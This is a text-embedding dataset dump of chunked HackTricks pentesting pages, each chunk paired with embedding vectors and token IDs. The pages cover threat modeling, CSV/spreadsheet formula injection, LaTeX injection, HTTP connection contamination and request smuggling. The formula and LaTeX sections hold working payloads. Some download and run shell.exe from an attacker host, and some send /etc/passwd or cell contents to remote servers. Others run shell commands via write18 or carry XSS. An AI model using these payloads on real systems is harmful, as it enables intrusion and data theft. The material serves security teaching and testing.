text
stringlengths
5
3.08k
embedding
list
tokens
list
database
stringclasses
5 values
file
stringlengths
5
9
chunk
int64
0
192
[CLS] threat modelingthreat modelingwelcome to hacktricks'comprehensive guide on threat modeling! embark on an exploration of this critical aspect of cybersecurity, where we identify, understand, and strategize against potential vulnerabilities in a system. this thread serves as a step - by - step guide packed with real - world examples, helpful software, and easy - to - understand explanations. ideal for both novices and experienced practitioners looking to fortify their cybersecurity defenses. commonly used scenarios1. software development : as part of the secure software development life cycle ( ssdlc ), threat modeling helps in identifying potential sources of vulnerabilities in the early stages of development. 2. penetration testing : the penetration testing execution standard ( ptes ) framework requires threat modeling to understand the system's vulnerabilities before carrying out the test. threat model in a nutshella threat model is typically represented as a diagram, image, or some other form of visual illustration that depicts the planned architecture or existing build of an application. it bears resemblance to a data flow diagram, but the key distinction lies in its security - oriented design. threat models often feature elements marked in red, symbolizing potential vulnerabilities, risks, or barriers. to streamline the process of risk identification, the cia ( confidentiality, integrity, availability ) triad is employed, forming the basis of many threat modeling methodologies, with stride being one of the most common. however, the chosen methodology can vary depending on the specific context and requirements. the cia triadthe cia triad is a widely recognized model in the field of information security, standing for confidentiality, integrity, and availability. these three pillars form the foundation upon which many security measures and policies are built, including threat modeling methodologies. 1. confidentiality : ensuring that the data or system is not accessed by unauthorized individuals. this is a central aspect of security, requiring appropriate access controls, encryption, and other measures to prevent data breaches. 2. integrity : the accuracy, consistency, and trustworthiness of the data over its lifecycle. this principle ensures that the data is not altered or tampered with by unauthorized parties. it often involves checksums, hashing, and other data verification methods. 3. availability : this ensures that data and services are accessible to authorized users when needed. this often involves redundancy, fault tolerance, and high - availability configurations to keep systems running even in the face of disruptions. threat modeling methodlogies
[ 0.2275673747062683, -0.41681742668151855, 0.012408245354890823, 0.3187185227870941, -0.096128448843956, -0.5997756123542786, -0.10099206864833832, -0.23099775612354279, -0.398522287607193, 0.7588319182395935, 0.02140716277062893, -0.526311457157135, -0.07001105695962906, -0.220109403133392...
[ 101, 5081, 11643, 2705, 16416, 2102, 11643, 8545, 22499, 4168, 2000, 20578, 22881, 2015, 1005, 7721, 5009, 2006, 5081, 11643, 999, 28866, 2006, 2019, 8993, 1997, 2023, 4187, 7814, 1997, 16941, 3366, 10841, 15780, 1010, 2073, 2057, 6709, 101...
hack_tricks
16.txt
0
##1. stride : developed by microsoft, stride is an acronym for spoofing, tampering, repudiation, information disclosure, denial of service, and elevation of privilege. each category represents a type of threat, and this methodology is commonly used in the design phase of a program or system to identify potential threats. 2. dread : this is another methodology from microsoft used for risk assessment of identified threats. dread stands for damage potential, reproducibility, exploitability, affected users, and discoverability. each of these factors is scored, and the result is used to prioritize identified threats. 3. pasta ( process for attack simulation and threat analysis ) : this is a seven - step, risk - centric methodology. it includes defining and identifying security objectives, creating a technical scope, application decomposition, threat analysis, vulnerability analysis, and risk / triage assessment. 4. trike : this is a risk - based methodology that focuses on defending assets. it starts from a risk management perspective and looks at threats and vulnerabilities in that context. 5. vast ( visual, agile, and simple threat modeling ) : this approach aims to be more accessible and integrates into agile development environments. it combines elements from the other methodologies and focuses on visual representations of threats. 6. octave ( operationally critical threat, asset, and vulnerability evaluation ) : developed by the cert coordination center, this framework is geared toward organizational risk assessment rather than specific systems or software. toolsthere are several tools and software solutions available that can assist with the creation and management of threat models. here are a few you might consider. spidersuitean advance cross - platform and multi - feature gui web spider / crawler for cyber security professionals. spider suite can be used for attack surface mapping and analysis. usage1. pick a url and crawl2. view graphowasp threat dragonan open - source project from owasp, threat dragon is both a web and desktop application that includes system diagramming as well as a rule engine to auto - generate threats / mitigations. usage1. create new projectsometimes it could look like this : 2. launch new project3. save the new project4. create your modelyou can use tools like spidersuite crawler to give you inspiration, a basic model would look something like thisjust a little bit of explanation about the entities : process ( the entity itself such as webserver or web functionality ) actor ( a person such as a website visitor, user or administrator
[ -0.03789844736456871, 0.43893763422966003, -0.5176098942756653, 0.10362311452627182, -0.6852526664733887, 0.3593169152736664, -0.22242620587348938, 0.07623722404241562, 0.0739111602306366, 0.5034909248352051, 0.5361010432243347, -0.06864728778600693, -0.151894211769104, -0.5499401092529297...
[ 2487, 1012, 18045, 1024, 2764, 2011, 7513, 1010, 18045, 2003, 2019, 20137, 2005, 11867, 21511, 2075, 1010, 17214, 4842, 2075, 1010, 16360, 21041, 3370, 1010, 2592, 19380, 1010, 14920, 1997, 2326, 1010, 1998, 6678, 1997, 14293, 1012, 2169, 4...
hack_tricks
16.txt
1
) data flow line ( indicator of interaction ) trust boundary ( different network segments or scopes. ) store ( things where data are stored at such as databases ) 5. create a threat ( step 1 ) first you have to pick the layer you wish to add a threat tonow you can create the threatkeep in mind that there is a difference between actor threats and process threats. if you would add a threat to an actor then you will only be able to choose " spoofing " and " repudiation. however in our example we add threat to a process entity so we will see this in the threat creation box : 6. donenow your finished model should look something like this. and this is how you make a simple threat model with owasp threat dragon. microsoft threat modeling toolthis is a free tool from microsoft that helps in finding threats in the design phase of software projects. it uses the stride methodology and is particularly suitable for those developing on microsoft's stack. generic methodologies & resources - [SEP]
[ -0.1857503056526184, 0.3866956830024719, 0.13313718140125275, 0.041233256459236145, -0.2681892216205597, -0.8275162577629089, 0.19953428208827972, -0.1874273717403412, -0.4077184796333313, 1.1344963312149048, 0.039482444524765015, -0.21576575934886932, 0.6930612921714783, -0.20636424422264...
[ 1007, 2951, 4834, 2240, 1006, 17245, 1997, 8290, 1007, 3404, 6192, 1006, 2367, 2897, 9214, 2030, 9531, 2015, 1012, 1007, 3573, 1006, 2477, 2073, 2951, 2024, 8250, 2012, 2107, 2004, 17881, 1007, 1019, 1012, 3443, 1037, 5081, 1006, 3357, 10...
hack_tricks
16.txt
2
[CLS] formula / csv / doc / latex / ghostscript injectionfind vulnerabilities that matter most so you can fix them faster. intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from apis to web apps and cloud systems. try it for free today. intruder | an effortless vulnerability scannerformula injectioninfoif your input is being reflected inside csv files ( or any other file that is probably going to be opened by excel ), you maybe able to put excel formulas that will be executed when the user opens the file or when the user clicks on some link inside the excel sheet. nowadays excel will alert ( several times ) the user when something is loaded from outside the excel in order to prevent him to from malicious action. therefore, special effort on social engineering must be applied to he final payload. wordlistdde ( " cmd " ; " / c calc " ; "! a0 " ) a0 @ sum ( 1 + 9 ) * cmd |'/ c calc '! a0 = 10 + 20 + cmd |'/ c calc '! a0 = cmd |'/ c notepad '!'a1'= cmd |'/ c powershell iex ( wget attacker _ server / shell. exe ) '! a0 = cmd |'/ c rundll32. exe \ \ 10. 0. 0. 1 \ 3 \ 2 \ 1. dll, 0 '! _ xlbgnm. a1hyperlinkthe following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. but it requires the use to click on the link ( and accept the warning prompts ). example taken from url us assume an attack scenario of student record management system of a school. the application allows teacher to enter details of students in the school. the attacker get access to the application and want that all the teacher using the application to get compromised. so the attacker tries to perform csv injection attack through the web application. the attacker need to steal other student ’ s details. so the attacker uses the hyperlink formula ad enter it while entering student details. when the teacher export the csv and click on the hyperlink then the sensitive data is sent to the attacker ’ s server. csv file exported contains malicious payload in it. the details of student in logged in the attackers web server.
[ -0.13535839319229126, -0.11951328068971634, -0.006168111227452755, -0.08572850376367569, -0.9604974389076233, -0.5156964659690857, -0.15049663186073303, 0.23436671495437622, -0.1680024415254593, 1.0870779752731323, 0.062115736305713654, 0.20809830725193024, 0.4094502329826355, -0.478102058...
[ 101, 5675, 1013, 20116, 2615, 1013, 9986, 1013, 2397, 2595, 1013, 11277, 23235, 13341, 16294, 2094, 24728, 19666, 6906, 14680, 2008, 3043, 2087, 2061, 2017, 2064, 8081, 2068, 5514, 1012, 22841, 3162, 2115, 2886, 3302, 1010, 3216, 4013, 1962...
hack_tricks
160.txt
0
rcefor this example to work it's needed to have enable the following configuration : file β†’ options β†’ trust center β†’ trust center settings β†’ external content β†’ enable dynamic data exchange server launch or the use of an old excel version. the good news is that this payload is executed automatically when the file is opened ( f the user accepts the warnings ). it's possible to execute a calculator with the following payload = cmd |'/ c calc '! xxxmore = cmd |'/ c powershell invoke - webrequest " http : / / www. attacker. com / shell. exe " - outfile " $ env : temp \ shell. exe " ; start - process " $ env : temp \ shell. exe " '! a1lfilibreoffice calcthis will read the 1st line from the local / etc / passwd file : ='file : / / / etc / passwd'# $ passwd. a1ex - filtrate it : = webservice ( concatenate ( " http : / / : 8080 / ", ('file : / / / etc / passwd'# $ passwd. a1 ) ) ) ex - filtrate more than one line : = webservice ( concatenate ( " http : / / : 8080 / ", ('file : / / / etc / passwd'# $ passwd. a1 ) & char ( 36 ) & ('file : / / / etc / passwd'# $ passwd. a2 ) ) ) dns exfiltration : = webservice ( concatenate ( ( substitute ( mid ( ( encodeurl ('file : / / / etc / passwd'# $ passwd. a19 ) ), 1, 41 ), " % ", " - " ) ), ". " ) ) analyzing the dns ex - filtration payload : β€˜ file : / / / etc / passwd ’ # $ passwd. a19 – will read the 19th line from the local / etc / passwd fileencodeurl ( β€˜ file : / / / etc / passwd ’ # $ passwd. a19 ) – url encode the returned datamid ( ( encodeurl ( β€˜ file : / / / etc / passwd ’ # $ passwd. a19 ) ), 1, 41 )
[ -0.27914825081825256, 0.19817139208316803, -0.021214555948972702, 0.8647181987762451, -0.13997791707515717, 0.21803238987922668, -0.5489835143089294, 0.4609709680080414, 0.20280785858631134, 1.3211194276809692, 0.41375428438186646, 0.25835901498794556, 0.03250950574874878, -0.3677822947502...
[ 22110, 12879, 2953, 2023, 2742, 2000, 2147, 2009, 1005, 1055, 2734, 2000, 2031, 9585, 1996, 2206, 9563, 1024, 5371, 1585, 7047, 1585, 3404, 2415, 1585, 3404, 2415, 10906, 1585, 6327, 4180, 1585, 9585, 8790, 2951, 3863, 8241, 4888, 2030, 1...
hack_tricks
160.txt
1
– similar to substring, read data from 1st character to 41st – a very handy way to restrict the length of dns hostnames ( 254 character limit on fqdn and 63 characters for a label, i. e. subdomain ) substitute ( mid ( ( encodeurl ( β€˜ file : / / / etc / passwd ’ # $ passwd. a19 ) ), 1, 41 ), ” % ”, ” - β€œ ) – replace all instances of % ( the special character from url encoding ) with dash – this is ensure that only valid dns characters are usedconcatenate ( ( substitute ( mid ( ( encodeurl ( β€˜ file : / / / etc / passwd ’ # $ passwd. a19 ) ), 1, 41 ), ” % ”, ” - β€œ ) ), ”. < fqdn > ” ) – concatenate the output from the file ( after the above processing has taken place ) with the fqdn ( for which we have access to the host that is authoritative for the domain ) webservice – will make a request for this non - existent dns name which we can then parse the logs ( or run tcpdump etc. ) on the dns authoritative name server for which we have controlgoogle sheets oob data exfiltrationfirstly, let ’ s introduce some of the more interesting functions. concatenate : appends strings to one another. = concatenate ( a2 : e2 ) importxml : imports data from various structured data types including xml, html, csv, tsv, and rss and atom xml feeds. = importxml ( concat ( " http : / / [ remote ip : port ] / 123. txt? v = ", concatenate ( a2 : e2 ) ), " / / a / a10 " ) importfeed : imports a rss or atom feed. = importfeed ( concat ( " http : / / [ remote ip : port ] / / 123. txt? v = ", concatenate ( a2 : e2 ) ) ) importhtml : imports data from a table or list within an html page. = importhtml ( concat ( " http : / / [ remote ip : port ] / 123. txt? v = ", concatenate ( a2 : e2 ) ), " table ", 1
[ 0.5907964706420898, -0.1102316677570343, 0.07950906455516815, 0.4744274318218231, -0.556631863117218, 0.1449301838874817, -0.19915618002414703, 0.019614530727267265, 0.7624695897102356, 1.0623855590820312, 0.22170443832874298, -0.025901613757014275, 0.724591851234436, -0.49265849590301514,...
[ 1516, 2714, 2000, 4942, 3367, 4892, 1010, 3191, 2951, 2013, 3083, 2839, 2000, 24233, 1516, 1037, 2200, 18801, 2126, 2000, 21573, 1996, 3091, 1997, 1040, 3619, 3677, 18442, 2015, 1006, 22234, 2839, 5787, 2006, 1042, 4160, 2094, 2078, 1998, ...
hack_tricks
160.txt
2
) importrange : imports a range of cells from a specified spreadsheet. = importrange ( " https : / / docs. google. com / spreadsheets / d / [ sheet _ id ] ", " sheet1! a2 : e2 " ) image : inserts an image into a cell. = image ( " https : / / [ remote ip : port ] / images / srpr / logo3w. png " ) latex injectionusually the servers that will find on the internet that convert latex code to pdf use pdflatex. this program uses 3 main attributes to ( dis ) allow command execution : - - no - shell - escape : disable the \ write18 { command } construct, even if it is enabled in the texmf. cnf file. - - shell - restricted : same as - - shell - escape, but limited to a'safe'set of predefined * * commands ( * * on ubuntu 16. 04 the list is in / usr / share / texmf / web2c / texmf. cnf ). - - shell - escape : enable the \ write18 { command } construct. the command can be any shell command. this construct is normally disallowed for security reasons. however, there are other ways to execute commands, so to avoid rce it's very important to use - - shell - restricted. read fileyou might need to adjust injection with wrappers as [ or $. \ input { / etc / passwd } \ include { password } # load. tex file \ lstinputlisting { / usr / share / texmf / web2c / texmf. cnf } \ usepackage { verbatim } \ verbatiminput { / etc / passwd } read single lined file \ newread \ file \ openin \ file = / etc / issue \ read \ file to \ line \ text { \ line } \ closein \ fileread multiple lined file \ newread \ file \ openin \ file = / etc / passwd \ loop \ unless \ ifeof \ file \ read \ file to \ fileline \ text { \ fileline } \ repeat \ closein \ filewrite file \ newwrite \ outfile \ openout \ outfile = cmd. tex \ write \ outfile { hello - world } \ closeout
[ 0.13513383269309998, -0.3175812065601349, 0.12632513046264648, 0.7090049982070923, -0.16488991677761078, 0.21803061664104462, -0.193276047706604, 0.09068869799375534, -0.032347168773412704, 1.4303616285324097, 0.4343249201774597, 0.6553314924240112, 0.29395437240600586, -0.3861314654350281...
[ 1007, 12324, 24388, 2063, 1024, 17589, 1037, 2846, 1997, 4442, 2013, 1037, 9675, 20861, 21030, 2102, 1012, 1027, 12324, 24388, 2063, 1006, 1000, 16770, 1024, 1013, 1013, 9986, 2015, 1012, 8224, 1012, 4012, 1013, 20861, 21030, 3215, 1013, 10...
hack_tricks
160.txt
3
\ outfilecommand executionthe input of the command will be redirected to stdin, use a temp file to get it. \ immediate \ write18 { env > output } \ input { output } \ input { | " / bin / hostname " } \ input { | " extractbb / etc / passwd > / tmp / b. tex " } # allowed mpost command rce \ documentclass { article } \ begin { document } \ immediate \ write18 { mpost - ini " - tex = bash - c ( id ; uname $ { ifs } - sm ) > / tmp / pwn " " x. mp " } \ end { document } # if mpost is not allowed there are other commands you might be able to execute # # just get the version \ input { | " bibtex8 - - version > / tmp / b. tex " } # # search the file pdfetex. ini \ input { | " kpsewhich pdfetex. ini > / tmp / b. tex " } # # get env var value \ input { | " kpsewhich - expand - var = $ hostname > / tmp / b. tex " } # # get the value of shell _ escape _ commands without needing to read pdfetex. ini \ input { | " kpsewhich - - var - value = shell _ escape _ commands > / tmp / b. tex " } if you get any latex error, consider using base64 to get the result without bad characters \ immediate \ write18 { env | base64 > test. tex } \ input { text. tex } \ input | ls | base4 \ input { | " / bin / hostname " } cross site scriptingfrom @ edoverflow \ url { javascript : alert ( 1 ) } \ href { javascript : alert ( 1 ) } { placeholder } ghostscript injectiontodo : create a summary with the more relevant information and techniques from url [SEP]
[ -0.26217928528785706, -0.10167507827281952, -0.05623982101678848, -0.2477652132511139, -0.1887942999601364, -0.09569971263408661, -0.3300182819366455, 0.4042317569255829, 0.3349106013774872, 1.0374094247817993, 0.36015623807907104, 0.18426229059696198, 0.22098885476589203, -0.5156391263008...
[ 1032, 2041, 8873, 2571, 9006, 2386, 2094, 7781, 10760, 7953, 1997, 1996, 3094, 2097, 2022, 2417, 7442, 10985, 2000, 2358, 8718, 1010, 2224, 1037, 8915, 8737, 5371, 2000, 2131, 2009, 1012, 1032, 6234, 1032, 4339, 15136, 1063, 4372, 2615, 1...
hack_tricks
160.txt
4
[CLS] http connection contaminationthe content of this post was taken from url browsers use http connection coalescing, which lets them reuse a single http / 2 + connection for requests going to different websites, provided that the sites resolve to the same ip address and use a tls certificate valid for both hostnames. first - request routing is a dangerous reverse - proxy behaviour where the proxy analyses the first request on a connection to work out which back - end end to route it to, and then sends all subsequent requests on that connection to the same back - end. connection coalescing and first - request routing don't play well together. for example, imagine secure. example. com and wordpress. example. com are both sat behind a reverse proxy using a certificate valid for *. example. com : $ nslookup wordpress. example. com52. 16. 179. 7 / / reverse proxy that supports http / 2 and does first - request routing $ nslookup secure. example. com52. 16. 179. 7 / / same reverse proxy $ openssl s _ client - connect x. portswigger - labs. net : 443subject = / cn = *. example. com / / wildcard tls certificateif a browser tries to send a request to wordpress. example. com followed by secure. example. com, browser connection coalescing will force both requests down a single connection to the front - end. first - request routing will result in the request to secure. example. com incorrectly being routed to the wordpress back - end. this means that if you find xss on wordpress. example. com, you can use it to compromise secure. example. com! / / create http / 2 + connectionfetch ('https : / / wordpress. example. com / ', { credentials :'include'} ) / / connection coalescing will force this down the same connection... / /... leading to the front - end misrouting it to wordpress / / the browser thinks our injected js is coming from secure. example. com / / exposing saved passwords, cookies, etc. location ='https : / / secure. example. com / plugin / x? q = < script > stealpasswords ( )'you can explore connection coalescing for yourself by using the timing graph under the network tab in chrome's developer tools ( or using wireshark if you're
[ -0.09907414764165878, -0.5404127836227417, -0.10021495074033737, 0.1411132663488388, -0.9006431102752686, -0.19968807697296143, -0.07722301781177521, -0.3194213807582855, 0.41178280115127563, 0.8668542504310608, 0.18022431433200836, -0.4999609887599945, 0.482038676738739, -0.19844612479209...
[ 101, 8299, 4434, 18701, 10760, 4180, 1997, 2023, 2695, 2001, 2579, 2013, 24471, 2140, 16602, 2015, 2224, 8299, 4434, 5317, 2229, 6129, 1010, 2029, 11082, 2068, 2128, 8557, 1037, 2309, 8299, 1013, 1016, 1009, 4434, 2005, 11186, 2183, 2000, ...
hack_tricks
161.txt
0
a masochist ). issue request pairs using fetch ( ) and see if the graph shows time spent on'initial connection'for the second request, and if the connection id column matches : fetch ('/ / sub1. hackxor. net / ', { mode :'no - cors ', credentials :'include'} ). then ( ( ) = > { fetch ('/ / sub2. hackxor. net / ', { mode :'no - cors ', credentials :'include'} ) } ) i haven't invested the time required to explore this threat in depth or scan for it in the wild as i believe it's currently rare for two reasons. firstly, first - request routing is relatively uncommon and http / 2's implementation complexity means there's only a small pool of unique http / 2 servers relative to http / 1. 1. secondly, connection coalescing means http / 2 servers performing first - request routing may intermittently break for genuine visitors, so the owners may end up fixing the vulnerability without attacker encouragement. that said, it's not all bad news for attackers. http / 3 proposes removing the requirement for an ip address match, which will expose everyone with a front - end that uses first - request routing and has a certificate valid for multiple hosts. this also creates a second risk which isn't related to first - request routing - it means a compromised server with a wildcard certificate no longer requires an mitm to exploit. in effect, this greatly increases the pool of malicious actors who could profit from it. to avoid these risks before they become a reality, ensure your reverse proxies don't perform first - request routing. you can test for this manually in repeater by enabling http / 1 and http / 2 connection reuse, and also scan for it using the'connection - state'attack in http request smuggler. also, be aware that while wildcard tls certificates have never been ideal, http / 3 means a compromised server with a wildcard certificate can now be used to attack sibling domains without an active mitm. these new threats continue the ongoing trend of web infrastructure descending into a heavily intertwined mess where a weakness in any individual site has numerous non - obvious knock - on effects on the security of the overall system. it'll be interesting to see how these risks play out in practice. pentesting web - [SEP]
[ 0.055670224130153656, -0.04237863048911095, -0.11663040518760681, 0.08734627813100815, -0.47907349467277527, -0.7435853481292725, -0.5021136999130249, -0.11042158305644989, 0.4613373577594757, 1.4198496341705322, 0.16563434898853302, -0.05093894153833389, 0.8979327082633972, -0.52067160606...
[ 1037, 16137, 11663, 2923, 1007, 1012, 3277, 5227, 7689, 2478, 18584, 1006, 1007, 1998, 2156, 2065, 1996, 10629, 3065, 2051, 2985, 2006, 1005, 3988, 4434, 1005, 2005, 1996, 2117, 5227, 1010, 1998, 2065, 1996, 4434, 8909, 5930, 3503, 1024, ...
hack_tricks
161.txt
1
[CLS] http connection request smugglingconnection state attacksfirst - request validationreverse proxies often use the host header to identify which back - end server to route each request to, and have a whitelist of hosts that people are allowed to access. however, some proxies only apply this whitelist to the first request sent over a given connection. this means attackers can gain access to internal websites by issuing a request to an allowed destination, followed by one for the internal site down the same connection : get / http / 1. 1host : redactedget / http / 1. 1host : intranet. redactedmercifully, this mistake is quite rare. first - request routingfirst - request routing occurs when the front - end uses the first request's host header to decide which back - end to route the request to, and then routes all subsequent requests from the same client connection down the same back - end connection. get / http / 1. 1host : example. compost / pwreset http / 1. 1host : psres. netthis could be chained with host header attacks like password reset poisoning, web cache poisoning, and gaining access to other virtual hosts. you can scan for these two flaws using the'connection - state probe'option in http request smuggler. [SEP]
[ 0.10228939354419708, -0.26374849677085876, -0.27438652515411377, -0.0392783097922802, -0.6493804454803467, -0.35212528705596924, -0.7832801342010498, 0.650701642036438, -0.025352995842695236, 0.8316625356674194, 0.3813474774360657, 0.019557151943445206, 1.1054803133010864, -0.1380672752857...
[ 101, 8299, 4434, 5227, 19535, 8663, 2638, 7542, 2110, 4491, 8873, 12096, 1011, 5227, 27354, 2890, 16070, 4013, 16898, 2015, 2411, 2224, 1996, 3677, 20346, 2000, 6709, 2029, 2067, 1011, 2203, 8241, 2000, 2799, 2169, 5227, 2000, 1010, 1998, ...
hack_tricks
162.txt
0
[CLS] http request smuggling / http desync attackwhat isthis vulnerability occurs when a desyncronization between front - end proxies and the back - end server allows an attacker to send an http request that will be interpreted as a single request by the front - end proxies ( load balance / reverse - proxy ) and as 2 request by the back - end server. this allows a user to modify the next request that arrives to the back - end server after his. theoryrfc specification ( 2161 ) if a message is received with both a transfer - encoding header field and a content - length header field, the latter must be ignored. content - lengththe content - length entity header indicates the size of the entity - body, in bytes, sent to the recipient. transfer - encoding : chunkedthe transfer - encoding header specifies the form of encoding used to safely transfer the payload body to the user. chunked means that large data is sent in a series of chunksrealitythe front - end ( a load - balance / reverse proxy ) process the content - length or the transfer - encoding header and the back - end server process the other one provoking a desyncronization between the 2 systems. this could be very critical as an attacker will be able to send one request to the reverse proxy that will be interpreted by the back - end server as 2 different requests. the danger of this technique resides in the fact the back - end server will interpret the 2nd request injected as if it came from the next client and the real request of that client will be part of the injected request. particularitiesremember that in http a new line character is composed by 2 bytes : content - length : this header uses a decimal number to indicate the number of bytes of the body of the request. the body is expected to end in the last character, a new line is not needed in the end of the request. transfer - encoding : this header uses in the body an hexadecimal number to indicate the number of bytes of the next chunk. the chunk must end with a new line but this new line isn't counted by the length indicator. this transfer method must end with a chunk of size 0 followed by 2 new lines : 0connection : based on my experience it's recommended to use connection : keep - alive on the first request of the request smuggling. basic examplesso, request smuggling attacks involve placing both the content - length header and the transfer - encoding header into a single http request
[ 0.2831607162952423, -0.43433627486228943, -0.4200548529624939, 0.6813986301422119, -0.8207825422286987, -0.3381120562553406, -0.1415535807609558, 0.0632929801940918, 0.6398622393608093, 1.0759481191635132, 0.23671653866767883, -0.043328411877155304, 0.18899407982826233, -0.5866023302078247...
[ 101, 8299, 5227, 19535, 1013, 8299, 4078, 6038, 2278, 2886, 2860, 12707, 21541, 24158, 18130, 5158, 2043, 1037, 4078, 6038, 26775, 10698, 9276, 2090, 2392, 1011, 2203, 4013, 16898, 2015, 1998, 1996, 2067, 1011, 2203, 8241, 4473, 2019, 17346...
hack_tricks
163.txt
0
and manipulating these so that the front - end and back - end servers process the request differently. the exact way in which this is done depends on the behaviour of the two servers : cl. te : the front - end server uses the content - length header and the back - end server uses the transfer - encoding header. te. cl : the front - end server uses the transfer - encoding header and the back - end server uses the content - length header. te. te : the front - end and back - end servers both support the transfer - encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way. cl. te vulnerabilitieshere, the front - end server uses the content - length header and the back - end server uses the transfer - encoding header. we can perform a simple http request smuggling attack as follows : post / http / 1. 1 host : vulnerable - website. com content - length : 30 connection : keep - alive transfer - encoding : chunked \ ` 0 ` \ get / 404 http / 1. 1 foo : xnote how content - length indicate the bodies request length is 30 bytes long ( remember that http uses as new line, so 2bytes each new line ), so the reverse proxy will send the complete request to the back - end, and the back - end will process the transfer - encoding header leaving the get / 404 http / 1. 1 as the beginning of the next request ( btw, the next request will be appended to foo : x < next request starts here > ). te. cl vulnerabilitieshere, the front - end server uses the transfer - encoding header and the back - end server uses the content - length header. we can perform a simple http request smuggling attack as follows : post / http / 1. 1 host : vulnerable - website. com content - length : 4 connection : keep - alive transfer - encoding : chunked \ ` 7b ` \ ` get / 404 http / 1. 1 ` \ ` host : vulnerable - website. com ` \ ` content - type : application / x - www - form - urlencoded ` \ ` content - length : 30 ` \ x = 0 \ in this case the reverse - proxy will send the hole request to the back - end as the transfer - encoding indicates so. but, the back - end is going to process only the 7b ( 4bytes ) as indicated in the content - length.
[ -0.27756497263908386, -0.6239109635353088, -0.31416988372802734, 0.14629080891609192, -0.5936987400054932, -0.16665418446063995, -0.1421540528535843, -0.08907178789377213, 0.7975824475288391, 0.9870331883430481, -0.06478658318519592, 0.15864743292331696, 0.27194011211395264, -0.20100493729...
[ 1998, 26242, 2122, 2061, 2008, 1996, 2392, 1011, 2203, 1998, 2067, 1011, 2203, 14903, 2832, 1996, 5227, 11543, 1012, 1996, 6635, 2126, 1999, 2029, 2023, 2003, 2589, 9041, 2006, 1996, 9164, 1997, 1996, 2048, 14903, 1024, 18856, 1012, 8915, ...
hack_tricks
163.txt
1
therefore, the next request will be the one starting by get / 404 http / 1. 1note that even if the attack must end with a 0 the following request is going to be appended as extra values of the x parameter. also note that the content - length of the embedded request will indicate the length of the next request that is going to b appended to the x parameter. if it's too small, only a few bytes will be appended, and if to large ( bigger that the length of the next request ) and error will be thrown for the next request. te. te vulnerabilitieshere, the front - end and back - end servers both support the transfer - encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way. there are potentially endless ways to obfuscate the transfer - encoding header. for example : transfer - encoding : xchunked \ ` transfer - encoding : chunked ` \ transfer - encoding : chunked transfer - encoding : x \ ` transfer - encoding : chunked ` \ ` transfer - encoding : x ` \ transfer - encoding : [ tab ] chunked \ ` [ space ] transfer - encoding : chunked ` \ x : x [ \ n ] transfer - encoding : chunked ` ` transfer - encoding : chunkeddepending on the server ( reverse - proxy or backing ) that stops processing the te header, you will find a cl. te vulnerability or a te. cl vulnerability. finding http request smugglingfinding cl. te vulnerabilities using timing techniquesif an application is vulnerable to the cl. te variant of request smuggling, then sending a request like the following will often cause a time delay : post / http / 1. 1host : vulnerable - website. comtransfer - encoding : chunkedconnection : keep - alivecontent - length : 41a0since the front - end server uses the content - length header, it will forward only part of this request, omitting the 0. the back - end server uses the transfer - encoding header, processes the first chunk, and then waits for the next chunk to arrive. this will cause an observable time delay. sometimes, instead of getting a timeout you receive a 400 bad request from the final host like in the following scenario, where a cl. te payload is sent : and the response is a redirect containing an error inside the body with even the version of the
[ 0.03615671023726463, 0.12281318753957748, -0.6232156753540039, 0.4144587516784668, -0.6666485667228699, -0.27862003445625305, -0.26533547043800354, -0.2840001583099365, 0.2271481305360794, 1.3016666173934937, -0.13370348513126373, 0.005344273056834936, 0.19621770083904266, -0.6081864833831...
[ 3568, 1010, 1996, 2279, 5227, 2097, 2022, 1996, 2028, 3225, 2011, 2131, 1013, 24837, 8299, 1013, 1015, 1012, 1015, 22074, 2008, 2130, 2065, 1996, 2886, 2442, 2203, 2007, 1037, 1014, 1996, 2206, 5227, 2003, 2183, 2000, 2022, 10439, 21945, ...
hack_tricks
163.txt
2
haproxy used : finding te. cl vulnerabilities using timing techniquesif an application is vulnerable to the te. cl variant of request smuggling, then sending a request like the following will often cause a time delay : post / http / 1. 1host : vulnerable - website. comtransfer - encoding : chunkedconnection : keep - alivecontent - length : 60xsince the front - end server uses the transfer - encoding header, it will forward only part of this request, omitting the x. the back - end server uses the content - length header, expects more content in the message body, and waits for the remaining content to arrive. this will cause an observable time delay. probing http request smuggling vulnerabilitiesonce you have found that the timing techniques are working you need to probe that you can you can alter others clients requests. the easiest way to do this is to try to poison your own requests, make a request for / return a 404 for example. in the basic examples we already saw cl. te and te. cl examples of how to poison a clients request to ask for / 404 provoking a 404 response when the client was asking for any other resource. notessome important considerations should be kept in mind when attempting to confirm request smuggling vulnerabilities via interference with other requests : the " attack " request and the " normal " request should be sent to the server using different network connections. sending both requests through the same connection won't prove that the vulnerability exists. the " attack " request and the " normal " request should use the same url and parameter names, as far as possible. this is because many modern applications route front - end requests to different back - end servers based on the url and parameters. using the same url and parameters increases the chance that the requests will be processed by the same back - end server, which is essential for the attack to work. when testing the " normal " request to detect any interference from the " attack " request, you are in a race with any other requests that the application is receiving at the same time, including those from other users. you should send the " normal " request immediately after the " attack " request. if the application is busy, you might need to perform multiple attempts to confirm the vulnerability. in some applications, the front - end server functions as a load balancer, and forwards requests to different back - end systems according to some load balancing algorithm. if your " attack
[ -0.1554991602897644, -0.1855960637331009, -0.4817751944065094, 0.47052761912345886, -0.316666841506958, 0.05733751505613327, -0.036961592733860016, -0.07299451529979706, 0.23646558821201324, 1.0612502098083496, -0.5969621539115906, 0.23039215803146362, 0.36260032653808594, -0.5847747325897...
[ 5292, 21572, 18037, 2109, 1024, 4531, 8915, 1012, 18856, 24728, 19666, 6906, 14680, 2478, 10984, 5461, 10128, 2019, 4646, 2003, 8211, 2000, 1996, 8915, 1012, 18856, 8349, 1997, 5227, 19535, 1010, 2059, 6016, 1037, 5227, 2066, 1996, 2206, 20...
hack_tricks
163.txt
3
